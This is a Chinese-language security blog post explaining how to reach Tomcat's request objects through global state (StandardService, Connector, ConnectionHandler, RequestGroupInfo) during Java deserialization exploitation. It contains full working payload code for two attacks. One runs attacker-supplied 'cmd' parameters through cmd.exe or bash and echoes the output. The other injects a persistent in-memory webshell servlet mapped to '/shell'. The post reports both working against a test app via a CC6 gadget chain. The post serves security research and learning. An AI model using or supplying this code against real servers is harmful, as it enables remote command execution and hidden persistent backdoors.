从全局变量寻找到Tomcat回显方式

前言

对于回显的获取主要是在ApplicationFilterChain​类的lastServicedRequest / lastServicedResponse​两个属性，是使用的ThreadLocal进行修饰的，并且，在执行请求的过程中，通过反射修改属性值，能够记录下当前线程的request对象的值。

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之后在反序列化利用过程中方便利用ThreadLocal取出对应的request进行内存马的注入关键步骤。

这里转而通过寻找全局存储的request / response进行内存马的注入操作。

正文

如何获取的回显

师傅通过这种方式关注到了org.apache.coyote.AbstractProcessor​类中，存在有两个属性值名为request / response​分别是使用final​修饰的org.apache.coyote.Request / org.apache.coyote.Response类型的变量。

我们的目标是注入一个内存马，这里以上篇一样的Servlet内存马举例说明。

对于Servlet内存马，我们需要获取到对应ServletContext​，但是在org.apache.coyote.Request​类中，并没有直接可以获取的方法存在，我们可以关注到该类的setNote方法的实现。

这个方法是用来存放私有数据的，在其中举了一个例子，其中描述了对于该类的notes​数组中的下标为1的位置是用来存放的HttpServletRequest​对象的，值得注意的是其中的0-8序号存放的是servlet Container​中的数据，9-16序号存放的是connector这个组件的数据。

因为只要获取到了HttpServletRequest​对象，也就能够调用getServletContext方法获取我们需要的上下文。

我们可以通过getNote(1)来获取，

好了，言归正传，转到获取request对象，

在一个Controller调用过程中，其中的Http11Processor​类是继承了AbstractProcessor这个类的。

所以我们只需要获取到Http11Processor类对象，我们就能够成功获取到我们需要的request对象

目标放在调用Http11Processor之前是否对该对象进行持久化存储，或者直接点对其中的request对象进行了持久化存储

我们进而关注到了AbstractProtocol$ConnectionHandler​类中，在调用process​方法的过程中调用了register方法对processor对象进行了存储。

传入的是processor，他到底是什么，我们可以追溯到该方法的开头，存在有来源。

我们可以知道，这个processor对象是获取的是当前的Http11Processor对象，

对于register方法，我们可以跟进一下。

首先从processor中获取了RequestInfo​对象的信息之后调用了setGlobalProcessor方法。

调用了addRequestProcessor方法进行添加。

也即是，将其添加进入了processors这个List对象中，

所以现在我们的目的是获取到AbstractProtocol$ConnectionHandler​类的global​属性值，也即是获取到AbstractProtocol这个类对象。

在调用这一步之后看起，发现了在CoyoteAdapter#service​方法中，存在有Connector对象的操作。

对于Connector对象

这是一个connector组件的一个实现，

其中存在有一个protocolHandler​属性，是一个ProtocolHandler类对象。

前面我们需要获取的是AbstractProtocol类对象，同样是实现了这个接口，

而且于HTTP连接相关的类都实现了这个接口的，

所以我们能够从该属性中获取到我们需要的AbstractProtocol对象值，

现在我们需要获取的对象就是一个Connector对象，

而对于连接器的创建，在tomcat容器进行启动的时候，将会调用setConnector​方法将connector放在service中去，也即是StandardService类对象。

对于StandardService的获取，我们可以直接从当前线程中进行获取。

这样，一条链子进行成了

总结一下：

StandardService​==>connector​==>Connector.protocolHandler​==>Http11NioProtocol.handler​==>AbstractProtocol$ConnectionHandler.global​==>RequestGroupInfo.processors​==>RequestInfo.req

构造回显内存马

非持久化

这种应该也不算是内存马吧，也就是每次发送发序列化数据的时候，通过利用获取的request / response进行命令执行和回显。

对于实验的环境同样使用的是前面一样的环境 -- 使用springboot搭建的环境，

我首先创建了一个getField方法方便获取属性值。

将具体逻辑放在了static代码块中。

值得注意的有两点

在进行connector的筛选中，调用了getScheme().toLowerCase().contains("http")方法来帅选和http相关的连接器。

在命令执行的位置，通过判断有无特征来决定是否执行命令。

完整的实现

// 从线程中获取类加载器WebappClassLoaderBase
            WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            // 获取TomcatEmbeddedContext对象
            Context context = contextClassLoader.getResources().getContext();
            // 从上下文中获取ApplicationContext对象
            ApplicationContext applicationContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));

            // 从Application中获取StandardService对象
            StandardService standardService = (StandardService) getField(applicationContext, Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"));

            // 从StandardService中获取Connector数组
            Connector[] connectors = standardService.findConnectors();
            for (Connector connector : connectors) {
                if (connector.getScheme().toLowerCase().contains("http")) {
                    // 获取Connector对象的protocolHandler属性值
                    ProtocolHandler protocolHandler = connector.getProtocolHandler();
                    // 筛选我们需要的Abstract
                    if (protocolHandler instanceof AbstractProtocol) {
                        // 从Http11NioProtocol对象中获取到handler属性，也即是AbstractProtocol中的handler属性，存在有一个getHandler方法可以直接返回
                        // 反射获取该方法
                        Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
                        getHandler.setAccessible(true);
                        AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) getHandler.invoke(protocolHandler);
                        // 从上面获取的handler中取出global属性值
                        RequestGroupInfo global = (RequestGroupInfo) getField(handler, Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"));
                        // 之后从上面获取的RequestGroupInfo对象中获取到processors这个List对象，元素是RequestInfo对象
                        ArrayList processors = (ArrayList) getField(global, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
                        // 遍历List中的元素
                        for (Object processor : processors) {
                            RequestInfo requestInfo = (RequestInfo) processor;
                            // 获取对应的Request对象
                            org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
                            // 通过不同的请求进行处理
                            if ((req.queryString()).toString().toLowerCase().contains("cmd")) {
                                // 获取对应的Request对象
                                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
                                // 执行希望执行的命令
                                String cmd = request.getParameter("cmd");
                                String[] cmds = null;
                                if (cmd != null) {
                                    if (System.getProperty("os.name").toLowerCase().contains("win")) {
                                        cmds = new String[] {"cmd.exe", "/c", cmd};
                                    } else {
                                        cmds = new String[] {"/bin/bash", "-c", cmd};
                                    }
                                    java.util.Scanner c = new java.util.Scanner(new ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A");
                                    String o = null;
                                    o = c.hasNext() ? c.next() : o;
                                    c.close();
                                    PrintWriter writer = request.getResponse().getWriter();
                                    writer.println(o);
                                    writer.flush();
                                    writer.close();
                                }
                            }

测试一下

首先通过CC6_plus生成序列化数据1.ser

发送给漏洞端。

在访问路由中添加了一个cmd的GET传参，最后能够发现，成功执行了的。

持久化

对于持久化也就是真正的内存马实现，主要是通过和前面的Tomcat Servlet内存马相结合的模式，

也即是从request对象中获取到了ServletContext对象来执行恶意逻辑。

完整实现

// 从线程中获取类加载器WebappClassLoaderBase
            WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            // 获取TomcatEmbeddedContext对象
            Context context = contextClassLoader.getResources().getContext();
            // 从上下文中获取ApplicationContext对象
            ApplicationContext applicationContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));

            // 从Application中获取StandardService对象
            StandardService standardService = (StandardService) getField(applicationContext, Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"));

            // 从StandardService中获取Connector数组
            Connector[] connectors = standardService.findConnectors();
            for (Connector connector : connectors) {
                if (connector.getScheme().toLowerCase().contains("http")) {
                    // 获取Connector对象的protocolHandler属性值
                    ProtocolHandler protocolHandler = connector.getProtocolHandler();
                    // 筛选我们需要的Abstract
                    if (protocolHandler instanceof AbstractProtocol) {
                        // 从Http11NioProtocol对象中获取到handler属性，也即是AbstractProtocol中的handler属性，存在有一个getHandler方法可以直接返回
                        // 反射获取该方法
                        Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
                        getHandler.setAccessible(true);
                        AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) getHandler.invoke(protocolHandler);
                        // 从上面获取的handler中取出global属性值
                        RequestGroupInfo global = (RequestGroupInfo) getField(handler, Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"));
                        // 之后从上面获取的RequestGroupInfo对象中获取到processors这个List对象，元素是RequestInfo对象
                        ArrayList processors = (ArrayList) getField(global, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
                        // 遍历List中的元素
                        for (Object processor : processors) {
                            RequestInfo requestInfo = (RequestInfo) processor;
                            // 获取对应的Request对象
                            org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
                            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);

                            ServletContext servletContext = request.getServletContext();

                            String name = "xxx";
                            if (servletContext.getServletRegistration(name) == null) {
                                StandardContext o = null;

                                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                                while (o == null) {
                                    Field f = servletContext.getClass().getDeclaredField("context");
                                    f.setAccessible(true);
                                    Object object = f.get(servletContext);

                                    if (object instanceof ServletContext) {
                                        servletContext = (ServletContext) object;
                                    } else if (object instanceof StandardContext) {
                                        o = (StandardContext) object;
                                    }
                                }

                                //自定义servlet
                                Servlet servlet = new TomcatMemshell1();

                                //用Wrapper封装servlet
                                Wrapper newWrapper = o.createWrapper();
                                newWrapper.setName(name);
                                newWrapper.setLoadOnStartup(1);
                                newWrapper.setServlet(servlet);

                                //向children中添加Wrapper
                                o.addChild(newWrapper);
                                //添加servlet的映射
                                o.addServletMappingDecoded("/shell", name);

简单测试一下，

启动反序列漏洞环境，

发送序列化数据，

成功进行反序列化，

验证是否成功注入，

成功创建了一个恶意的Servlet。

Ref

https://github.com/Litch1-v/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java

https://xz.aliyun.com/t/7348

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